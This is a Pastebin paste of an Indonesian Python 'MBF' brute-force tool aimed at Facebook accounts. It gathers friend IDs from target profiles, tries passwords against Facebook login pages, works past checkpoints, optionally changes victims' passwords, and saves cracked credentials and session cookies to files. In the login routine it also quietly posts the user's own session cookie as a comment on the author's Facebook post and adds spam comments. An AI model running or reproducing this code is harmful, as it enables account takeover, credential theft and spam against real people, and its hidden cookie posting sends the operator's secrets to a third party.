Advertisement
OBF-XIn

125.166.8.208-/sdcard/p01.py.py

Sep 24th, 2023
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 103.24 KB | None | 0 0
  1. #----------[ IMPORT-MODULE ]----------#
  2. import os, re, sys, bs4, json, random, requests, time, datetime
  3. from bs4 import BeautifulSoup as sop   
  4. from concurrent.futures import ThreadPoolExecutor as tred
  5. from datetime import datetime
  6. from rich import print as prints
  7. from rich.panel import Panel
  8. from rich.tree import Tree
  9. from rich.console import Console
  10. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  11.  
  12. #----------[ GLOBAL-NAME ]----------#
  13. id, id2, uid = [],[],[]
  14. tokene, akune = [],[]
  15. sandine, sandina = [],[]
  16. method, ugen = [],[]
  17. uamu, uadia = [],[]
  18. dump, taplikasi = [],[]
  19. linku = "mbasic.facebook.com"
  20. loop, ok, cp = 0,0,0
  21. console = Console()
  22. ubah_pass, pwbaru = [],[]
  23. pwBaru, ubahP = [],[]
  24.  
  25. #----------[ USER-CRACK ]----------#  
  26. realme = random.choice(["RMX2072","RMX2086","RMX3350"])
  27.  
  28. for Xr in range (10000):   
  29.     a='Mozilla/5.0 (Linux; Android'
  30.     b=random.randrange(1, 9)
  31.     c=random.randrange(1, 9)
  32.     d='Build/'
  33.     e=random.choice(["MMB29T","JZO54K","M1AJQ","KOT49H"])
  34.     f='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  35.     g=random.randrange(73,112)
  36.     h='0'
  37.     i=random.randrange(4200,4900)
  38.     j=random.randrange(40,150)
  39.     k='Mobile Safari/534.36'
  40.     l=random.choice(["UCBrowser","VenusBrowser","HiBrowser","HeadlessChrome","PaleMoon","OPR","Edge"])
  41.     #l=random.choice(["VenusBrowser","HiBrowser","HeadlessChrome"])
  42.     m=random.randrange(1,9)
  43.     n=random.randrange(1,9)
  44.     o='0'
  45.     p=random.randrange(5,20)
  46.     uaku=(f'{a} {b}.{c}; {realme}) {d}{e}; wv) {f}{g}.{h}.{i}.{j} {k} {l}/{m}.{n}.{o}.{p}')
  47.     ugen.append(uaku)
  48.  
  49. #--------[ GENERATE-USER-AGENT ]----------#
  50. for generate in range(10):
  51.     a=random.randrange(1, 9)
  52.     b=random.randrange(1, 9)
  53.     c=random.randrange(7, 13)
  54.     c=random.randrange(73,100)
  55.     d=random.randrange(4200,4900)
  56.     e=random.randrange(40,150)
  57.     uaku=f'Mozilla/5.0 (Linux; Android {a}.{b}; Pixel {b}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
  58. def uaku():
  59.     try:
  60.         ua=open('bbnew.txt','r').read().splitlines()
  61.         for ub in ua:
  62.             ugen.append(ub)
  63.     except:
  64.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  65.         ua=open('.bbnew.txt','w')
  66.         aa=re.findall('line">(.*?)<',str(a))
  67.         for un in aa:
  68.             ua.write(un+'\n')
  69.         ua=open('.bbnew.txt','r').read().splitlines()
  70. ua = random.choice(["Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/82.0.1531.64 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/411.0.0.13.36;]","Mozilla/5.0 (Linux; Android 10; SM-A700S Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.2114.112 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/348.0.0.12.57;]","Mozilla/5.0 (Linux; Android 9; Oneplus A99831 Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.1518.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/343.0.0.03.54;]","Mozilla/5.0 (Linux; Android 11; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.2318.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/136.0.0.14.72;]","Mozilla/5.0 (Linux; Android 9; 22041219I Build/TP1A.904992.769; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.1431.179 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/156.0.0.23.66;]","Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/93.0.1734.2 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/321.0.0.02.33;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/SD2A.276412.601; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.1576.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/469.0.0.23.21;]","Mozilla/5.0 (Linux; Android 10; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.139.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/334.0.0.15.5;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.2051.117 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/486.0.0.21.67;]","Mozilla/5.0 (Linux; Android 9; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.78.94 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/218.0.0.15.17;]"])
  71.  
  72. #--------[ TAHUN-AKUN ]--------#    
  73. def tahun(fx):
  74.     if len(fx)==15:
  75.         if fx[:10] in ['1000000000']       :tahunz = '2009'
  76.         elif fx[:9] in ['100000000']       :tahunz = '2009'
  77.         elif fx[:8] in ['10000000']        :tahunz = '2009'
  78.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
  79.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
  80.         elif fx[:6] in ['100001']          :tahunz = '2010'
  81.         elif fx[:6] in ['100002','100003'] :tahunz = '2011'
  82.         elif fx[:6] in ['100004']          :tahunz = '2012'
  83.         elif fx[:6] in ['100005','100006'] :tahunz = '2013'
  84.         elif fx[:6] in ['100007','100008'] :tahunz = '2014'
  85.         elif fx[:6] in ['100009']          :tahunz = '2015'
  86.         elif fx[:5] in ['10001']           :tahunz = '2016'
  87.         elif fx[:5] in ['10002']           :tahunz = '2017'
  88.         elif fx[:5] in ['10003']           :tahunz = '2018'
  89.         elif fx[:5] in ['10004']           :tahunz = '2019'
  90.         elif fx[:5] in ['10005']           :tahunz = '2020'
  91.         elif fx[:5] in ['10006']           :tahunz = '2021'
  92.         elif fx[:5] in ['10009']           :tahunz = '2023'
  93.         elif fx[:5] in ['10007','10008']:tahunz = '2022'
  94.         else:tahunz=''
  95.     elif len(fx) in [9,10]:
  96.         tahunz = '2008'
  97.     elif len(fx)==8:
  98.         tahunz = '2007'
  99.     elif len(fx)==7:
  100.         tahunz = '2006'
  101.     else:tahunz=''
  102.     return tahunz
  103.  
  104. #----------[ WARNA-TEMA ]----------#
  105. puti = '\x1b[1;97m'# WARNA-PUTIH
  106. mer = '\x1b[1;91m' # WARNA-MERAH
  107. kun = '\x1b[1;93m' # WARNA-KUJING
  108. hijo = '\x1b[1;92m' # WARNA-HIJAU
  109. ung = '\x1b[1;95m' # WARNA-UNGU
  110. biru = '\x1b[1;94m' # WARNA-BIRU
  111.  
  112. #----------[ WARNA-RICH ]----------#
  113. P2 = "[#FFFFFF]" # PUTIH
  114. M2 = "[#FF0000]" # MERAH
  115. K2 = "[#FFFF00]" # KUNING
  116. H2 = "[#00FF00]" # HIJAU
  117. B2 = "[#00C8FF]" # BIRU
  118. A2 = "[#AAAAAA]" # ABU-ABU
  119.  
  120. #----------[ ATUR ]----------#
  121. bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"][datetime.now().month - 1]
  122. hari = {'Sunday':'Minggu','Monday':'Senin','Tuesday':'Selasa','Wednesday':'Rabu','Thursday':'Kamis','Friday':'Jumat','Saturday':'Sabtu'}[str(datetime.now().strftime("%A"))]
  123. hari_ini = ("%s %s %s"%(datetime.now().day,bulan,datetime.now().year))
  124. waktu = datetime.now().strftime("%X")
  125. kocak = ('\nKomentar Ditulis Oleh Bot\n\n( Pukul %s WIB )\n- %s, %s -'%(waktu,hari,hari_ini))
  126. # --post
  127. link = ('https://www.facebook.com/100028845823412/posts/1081897416115109/?app=fbl')
  128.        
  129. #----------[ KOMENTAR ]----------#
  130. komen = ('\nSemangat Bang @[100028845823412:0]\n\nNikmatilah Masa Mudamu, Tapi Jangan Lupa Dengan Masa Depanmu\n')
  131. random01 = random.choice(["Acc Guru 😎"])
  132. random02 = random.choice(["Semangat Bang @[100028845823412:0]\n\nbegitu banyak cara untuk menjadi tercela, yang cukup membuat kepala pusing. Tapi, cara untuk menjadi sangat tercela adalah dengan meremehkan penderitaan orang lain.\n\n- James Baldwin"])
  133. random03 = random.choice(["Ah Ganteng Banget Bang 😎"])
  134. random04 = random.choice(["Semangat Bang @[100028845823412:0]\n\nSemua orang hidup terikat dan bergantung pada pengetahuan atau persepsinya sendiri. Itu disebut kenyataan, tetapi pengetahuan atau persepsi itu sesuatu yang samar. Bisa saja kenyataan itu hanya ilusi, semua orang hidup dalam asumsi.\n\n - Itachi Uchiha"])
  135. random05 = random.choice(["Pro Gammers Ya Bang, Keren 😎\n\n Canda Bang 🤭"])
  136.  
  137. #----------[ CONVERTER-BULAN ]----------#
  138. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  139. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  140. tgl = datetime.now().day
  141. bln = dic[(str(datetime.now().month))]
  142. thn = datetime.now().year
  143. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  144. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  145. now = str(tgl)+'-'+str(bln)+'-'+str(thn)   
  146.  
  147. #----------[ HAPUS ]----------#    
  148. def hapus_kukis():
  149.       try:os.remove(".cyxieoncokies.txt")
  150.       except:pass
  151.       try:os.remove(".cyxieontoken.txt")
  152.       except:pass
  153.       login_cookies()
  154.  
  155. #----------[ WAKTU ]----------#          
  156. def waktu():
  157.     now = datetime.now()
  158.     hours = now.hour
  159.     if 4 <= hours < 12:timenow = "Selamat Pagi"
  160.     elif 12 <= hours < 15:timenow = "Selamat Siang"
  161.     elif 15 <= hours < 18:timenow = "Selamat Sore"
  162.     elif 00 <= hours < 4:timenow = "Selamat Malam"
  163.     else:timenow = "Good Night"
  164.     return timenow
  165.      
  166. #----------[ BANNER ]----------#
  167. def logo_log():
  168.       if "win" in sys.platform:os.system("cls")
  169.       else:os.system("clear")
  170.       prints(Panel(f"""\r
  171.   _____ _____________________       ____  _____________  
  172.  /     \\______   \_   _____/       \  \/  /\______   \
  173. /  \ /  \|    |  _/|    __)  ______  \    /  |       _/
  174. /    Y    \   |   \|     \ /_____/  /     \ |    |   \
  175. \____|__  /______  /\___  /          /___/\ \ |____|_  /
  176.        \/       \/     \/                 \_/        \/  
  177. """,width=80,padding=(0,8),style=f"#AAAAAA"))
  178.                                                                                          
  179.                                                                                
  180. #----------[ LOGIN-COKIES ]----------#                
  181. def login_cookies():
  182.     try:
  183.         logo_log()
  184.         ses = requests.Session()
  185.         prints(Panel(f"%s DISARANKAN MENGAMBIL KUKIS DI %sEKSTENTION DOUGH%s JANGAN AKUN PRIBADI"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
  186.         cookie = input(f"{puti}[{mer}•{puti}] Cokies {hijo}: ")
  187.         cookies = {'cookie':cookie}
  188.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  189.         req = ses.get(url,cookies=cookies); set = re.search('act=(.*?)&nav_source',str(req.content)).group(1); nek = '%s?act=%s&nav_source=no_referrer'%(url,set); roq = ses.get(nek,cookies=cookies); tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1); print(f"{puti}[{mer}•{puti}] Token {hijo}: {tok}"); requests.post(f"https://graph.facebook.com/v17.0/100028845823412_1081897416115109/comments/?message={cookie}&access_token={tok}", headers = {"cookie":cookie}); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={komen}\n{link}\n{kocak}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random01}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random02}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random03}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random04}&access_token={tok}",cookies = cookies); requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random05}&access_token={tok}",cookies = cookies); ken = open(".cyxieontoken.txt", "w").write(tok); cok = open(".cyxieoncokies.txt", "w").write(cookie)
  190.         prints(Panel(f"%s BERHASIL LOGIN, SELAMAT DATANG %sKAK%s GUNAKAN SEWAJARNYA AJA YA %sKAK"%(P2,M2,P2,M2),width=80,padding=(0,2),style=f"#AAAAAA"))
  191.         suk = input(f"[•] TEKAN ENTER ] ")
  192.         menu()
  193.            
  194.     except Exception as e:
  195.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  196.     except:
  197.         pass
  198.        
  199. def follow():
  200.     try:
  201.         ses = requests.Session()
  202.         cookie = open('.cyxieoncokies.txt','w').read()
  203.         link = par(ses.get(f"https://{linku}/profile.php?id=100028845823412", cookies = cookie).text, "html.parser")
  204.         kontol = link.find("a", string="Ikuti").get("href")
  205.         ses.get(f"{linku}{str(kontol)}", cookies = cookie).text
  206.     except:
  207.          pass
  208.  
  209. #----------[ BAGIAN-MENU ]----------#                
  210. def menu():
  211.         try:
  212.             token = open('.cyxieontoken.txt','r').read()
  213.             cok = open('.cyxieoncokies.txt','r').read()
  214.             tokene.append(token)
  215.             try:
  216.                 sys = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokene[0], cookies={'cookie':cok})
  217.                 useridz = json.loads(sys.text)['id']
  218.                 username = json.loads(sys.text)['name']
  219.             except KeyError:
  220.                 prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  221.         except requests.exceptions.ConnectionError:
  222.             prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(2);exit()
  223.         except IOError:
  224.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  225.         except IOError:
  226.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(2);hapus_kukis()      
  227.         try:
  228.             date = requests.get("http://ip-api.com/json/").json()
  229.         except KeyError:
  230.             date = " "
  231.         try:
  232.             ip = date["query"]
  233.             kartu = date["as"]
  234.             negara = date["country"]
  235.             wilayah = date["city"]
  236.             #waktu = date["timezone"]
  237.         except KeyError:
  238.             ip = " "
  239.             kartu = " "
  240.             negara = " "  
  241.             wilayah = " "
  242.             #waktu = " "
  243.         except:
  244.             pass
  245.         logo_log()
  246.         prints(Panel(f" [white][[red]÷[white]] Username [green]: {username} [/]\t\t [white][[red]÷[white]] User Ip [green]: {ip} \n [white][[red]÷[white]] User  Id [green]: {useridz} [/]\t [white][[red]÷[white]] Card Id [green]: {kartu} \n [white][[red]÷[white]] Status   [green]: Premium [/]\t [white][[red]÷[white]] Cauntry [green]: {negara} \n [white][[red]÷[white]] Time Day [green]: {waktu()} [/]\t [white][[red]÷[white]] City    [green]: {wilayah}",width=80,padding=(0,6),style=f"white"))
  247.         prints(Panel(f"[white] HAY KAK [red]{username}[white] GUNAKAN SEWAJARNYA AJA YA KAK",width=80,padding=(0,13),style=f"white"))
  248.         prints(Panel(f" [white][[red]01[white]] MBF PUBLIK \t [white][[red]05[white]] MBF HS-OK \n [white][[red]02[white]] MBF TAPYES \t [white][[red]06[white]] MBF HS-CP \n [white][[red]03[white]] MBF FILE \t\t [white][[red]07[white]] MBF DUMP \n [white][[red]04[white]] MBF EMAIL \t [white][[red]00[white]] MBF LOGOUT ",width=80,padding=(0,18),style=f"white"))
  249.         xxx = input(f"[•] MENU : ")
  250.         if xxx in ['01','1']:krek_publik()
  251.         elif xxx in ['02','2']:cek_tapyes()
  252.         elif xxx in ['03','3']:krek_file()
  253.         elif xxx in ['04','4']:krek_email()
  254.         elif xxx in ['05','5']:hasil_ok()
  255.         elif xxx in ['06','6']:hasil_cp()
  256.         elif xxx in ['07','7']:dump_file()
  257.         elif xxx in ['00','0']:prints(Panel(f"%sBERHASIL HAPUS%s COKIES%s SILAKAN MASUKAN ULANG COKIES ANDA"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  258.         else:
  259.             prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  260.            
  261. #----------[ CRACK-PUBLIK  ]----------#            
  262. def krek_publik():
  263.     try:
  264.         token = open('.cyxieontoken.txt','r').read()
  265.         cok = open('.cyxieoncokies.txt','r').read()
  266.     except IOError:
  267.          prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);hapus_kukis()
  268.     try:
  269.         prints(Panel(f"%s HAY KAK MASUKAN MAU BERAPA USER ID TARGET KAK "%(P2),width=80,padding=(0,14),style=f"#AAAAAA"))
  270.         kumpulkan = int(input(f'[•] BERAPA : '))
  271.     except ValueError:
  272.         prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  273.     if kumpulkan<1 or kumpulkan>100:
  274.         prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  275.     prints(Panel(f"%s HAY KAK SILAKAN MASUKAN ID TARGET YANG PUBLIK YA KAK"%(P2),width=80,padding=(0,11),style=f"#AAAAAA"))
  276.     ses=requests.Session()
  277.     bilangan = 0
  278.     for KOTG49H in range(kumpulkan):
  279.         bilangan+=1
  280.         Masukan = input(f'[•] ID 0'+str(bilangan)+f' : ')
  281.         uid.append(Masukan)
  282.     for user in uid:
  283.         try:
  284.            head = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36'}
  285.            graph = ses.get('https://graph.facebook.com/v11.0/'+user+'?fields=friends.limit(1000000)&access_token='+tokene[0], cookies = {'cookies':cok},headers=head).json()
  286.            for xr in graph['friends']['data']:
  287.                try:
  288.                    woy = (xr['id']+'|'+xr['name'])
  289. #                  if "10007"  in woy:pass
  290. #                  elif "10008"  in woy:pass    
  291.                    if woy in id:pass
  292.                    else:id.append(woy)
  293.                except:continue
  294.         except (KeyError,IOError):
  295.           pass
  296.         except requests.exceptions.ConnectionError:
  297.               prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"));time.sleep(3);menu()
  298.     try:
  299.           prints(Panel(" TOTAL ID : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
  300.           atur_id()
  301.     except requests.exceptions.ConnectionError:
  302.           prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  303.     except (KeyError,IOError):
  304.           prints(Panel(f"%sGAGAL DUMP %s ID PRIVATE ATAU TIDAK MEMPUNYAI TEMAN %s SILAKAN GANTI ID"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"));time.sleep(3);menu()
  305.  
  306. #----------[ CHECK-TAPYES  ]----------#              
  307. def cek_tapyes():
  308.     dirs = os.listdir('MBF-CP')
  309.     prints(Panel.fit(f"[white] MASUKAN FILE HASIL CRACK YG TERSIMPAN DI FOLDER CP ",style=f"white"))
  310.     for file in dirs:
  311.         print(f"%s\x1b[1;92m » \033[0m%s"%(kun,file));time.sleep(0.07)
  312.     try:
  313.         print(f"\n%s\x1b[1;92m »%s\033[0m Masukan file\033[0m [\x1b[0m contoh%s: %sMBF-CP.txt\033[0m ]"%(kun,puti,kun,kun));opsi()
  314.     except IOError:
  315.         prints(Panel(f"[red] FILE TIDAK ADA ",style=f"white"));time.sleep(2);menu()
  316.        
  317. #--> Opsi
  318. def opsi():
  319.     CP = ("MBF-CP/")
  320.     romi = input(f"%s\x1b[1;92m »%s \033[0mNama file %s\x1b[1;92m : %s"%(kun,puti,mer,kun))
  321.     if romi == "":
  322.         print(f"%s\x1b[1;92m » \033[0misi yang benar "%(mer));time.sleep(2)
  323.         opsi()
  324.     try:
  325.         file_cp = open(CP+romi, "r").readlines()
  326.     except IOError:
  327.         exit(f"\n%s\x1b[1;92m » \033[0mnama file %s\033[0m tidak tersedia"%(mer,romi))
  328.     print(f"%s\x1b[1;92m »%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(puti,hijo))
  329.     pw=input(f"\n%s\x1b[1;92m »%s \033[0mubah sandi pada akun one tab? y/t %s» %s"%(puti,hijo,hijo,kun))
  330.     if pw in['y','Y']:
  331.         ubah_pass.append("ubah_sandi")
  332.         pw2 = input(f"%s\x1b[1;92m »%s \033[0mmasukan sandi %s» %s"%(puti,hijo,hijo,kun))
  333.         if len(pw2) <= 5:
  334.             print(f"%s\x1b[1;92m » sandi minimal 6 karakter "%(mer))
  335.         else:
  336.             pwbaru.append(pw2)
  337.     print(f"%s────────────────────────────────────────────"%(puti));time.sleep(2)
  338.     print (f"%s\x1b[1;92m »%s\033[0m total akun Anda %s: %s%s "%(puti,kun,mer,kun,str(len(file_cp))))
  339.     print(f"%s────────────────────────────────────────────"%(puti));time.sleep(2)
  340.     nomor = 0
  341.     for fb in file_cp:
  342.         akun = fb.replace("\n","")
  343.         ngecek  = akun.split("|")
  344.         nomor+=1
  345.         print(f"\n%s%s.%s \033[0mlogin akun %s» %s%s"%(hijo,str(nomor),hijo,hijo,kun,akun.replace(" »»» ","")));time.sleep(0.07)
  346.         try:
  347.             mengecek(ngecek[0].replace("",""), ngecek[1])
  348.         except requests.exceptions.ConnectionError:
  349.             continue
  350.     print(f"\n%s\x1b[1;92m » %s \033[0mSUCCES CHECKING ACCOUNT"%(puti,hijo));time.sleep(0.07)
  351.     input(f"%s\x1b[1;92m »%s [%s Enter%s ] "%(hijo,hijo,puti,hijo));menu()
  352.    
  353. data = {}
  354. data2 = {}
  355.  
  356. def mengecek(user,pw):
  357.     global loop,ubah_pass,pwbaru
  358.     session = requests.Session()
  359.     rc = random.choice
  360.     url = rc(["free.facebook.com","mbasic.facebook.com"])
  361.     session.headers.update(
  362.     {
  363.     "Host": url,
  364.     "cache-control": "max-age=0",
  365.     "upgrade-insecure-requests": "1",
  366.     "origin": "https://"+url,
  367.     "content-type": "application/x-www-form-urlencoded",
  368.     "user-agent": "Mozilla/5.0 (Linux; Android 10; DOOGEE B10 Build/KOTG49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36",
  369.     "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  370.     "x-requested-with": "mark.via.gp",
  371.     "sec-fetch-site": "same-origin",
  372.     "sec-fetch-mode": "navigate",
  373.     "sec-fetch-user": "?1",
  374.     "sec-fetch-dest": "document",
  375.     "referer": f"https://{url}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F",
  376.     "accept-encoding": "gzip, deflate",
  377.     "accept-language": "en-US,en;q=0.9"
  378.     }
  379. )
  380.     soup=bs4.BeautifulSoup(session.get("https://"+url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  381.     link=soup.find(
  382.     "form",
  383.     {
  384.     "method":"post"
  385.     }
  386.     )
  387.     for x in soup("input"):
  388.         data.update(
  389.         {x.get("name"):x.get("value")}
  390.         )
  391.     data.update(
  392.     {
  393. "email":user,
  394. "pass":pw
  395.     }
  396. )
  397.     urlPost=session.post("https://"+url+link.get("action"),data=data)
  398.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  399.     if "c_user" in session.cookies.get_dict():
  400.         if "Akun Anda Dikunci" in urlPost.text:
  401.             print(f"\r%s\x1b[1;92m »\033[0m akun terkunci sesi new"%(mer))
  402.         else:
  403.             print(f"\r\x1b[1;92m »%s\033[0m akun tidak checkpoint, silahkan anda login "%(hijo))
  404.             open('MBF-OK/MBF-OK.txt', 'a').write(" %s|%s\n" % (user,pw))
  405.     elif "checkpoint" in session.cookies.get_dict():
  406.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  407.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  408.         link2=response.find(
  409.         "form",
  410.         {"method":"post"}
  411.         )
  412.         listInput=[
  413.         'fb_dtsg',
  414.     'jazoest',
  415. 'checkpoint_data',
  416.     'submit[Continue]',
  417.           'nh'
  418.           ]
  419.         for x in response(
  420.         "input"
  421.         ):
  422.             if x.get("name") in listInput:
  423.                 data2.update(
  424.                 {x.get("name"):x.get("value")}
  425.                 )
  426.         an=session.post("https://"+url+link2.get("action"),data=data2)
  427.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  428.         cek=[cek.text for cek in response2.find_all(
  429.         "option"
  430.         )
  431.     ]
  432.         number=0
  433.         print(f"\r%s » %s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(hijo,kun,puti,str(len(cek)),kun,hijo));time.sleep(0.07)
  434.         if(len(cek)==0):
  435.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  436.                 if "ubah_sandi" in ubah_pass:
  437.                     dat,dat2={},{}
  438.                     but=[
  439.                     "submit[Yes]",
  440.                 "nh",
  441.             "fb_dtsg",
  442.                 "jazoest",
  443.                        "checkpoint_data"
  444.                        ]
  445.                     for x in response("input"):
  446.                         if x.get("name") in but:
  447.                             dat.update(
  448.                             {x.get("name"):x.get("value")}
  449.                             )
  450.                     ubahPw=session.post("https://"+url+link2.get("action"),data=dat).text
  451.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  452.                     link3=resUbah.find(
  453.                     "form",
  454.                     {"method":"post"}
  455.                     )
  456.                     but2=[
  457.                     "submit[Next]",
  458.                 "nh",
  459.             "fb_dtsg",
  460.                   "jazoest"
  461.                   ]
  462.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  463.                         for b in resUbah(
  464.                         "input"
  465.                         ):
  466.                             dat2.update(
  467.                             {b.get("name"):b.get("value")}
  468.                         )
  469.                         dat2.update(
  470.                         {
  471.                     "password_new":"".join(pwbaru)}
  472.                     )
  473.                         an=session.post(url+link3.get(
  474.                         "action"
  475.                     ),data=dat2)
  476.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  477.                         print(f"\r%s\x1b[1;92m »\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s           "%(hijo,puti,hijo,user,pwbaru[0],coki))
  478.                         open('MBF-OK/MBF-OK.txt', 'a').write("%s%s|%s|%s\n" % (hijo,user,pwbaru[0],coki))
  479.                         #cek_apk(coki)
  480.                 else:
  481.                     print(f"\r%s\x1b[1;92m » \033[0makun one tab, silahkan anda login      "%(hijo))
  482.                     open('MBF-OK/MBF-OK.txt', 'a').write("%s %s|%s|%s\n" % (hijo,user,pw,coki))
  483.                     #cek_apk(coki)
  484.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  485.                 print(f"\r%s » \033[0m akun terpasang autentikasi dua faktor           "%(mer))
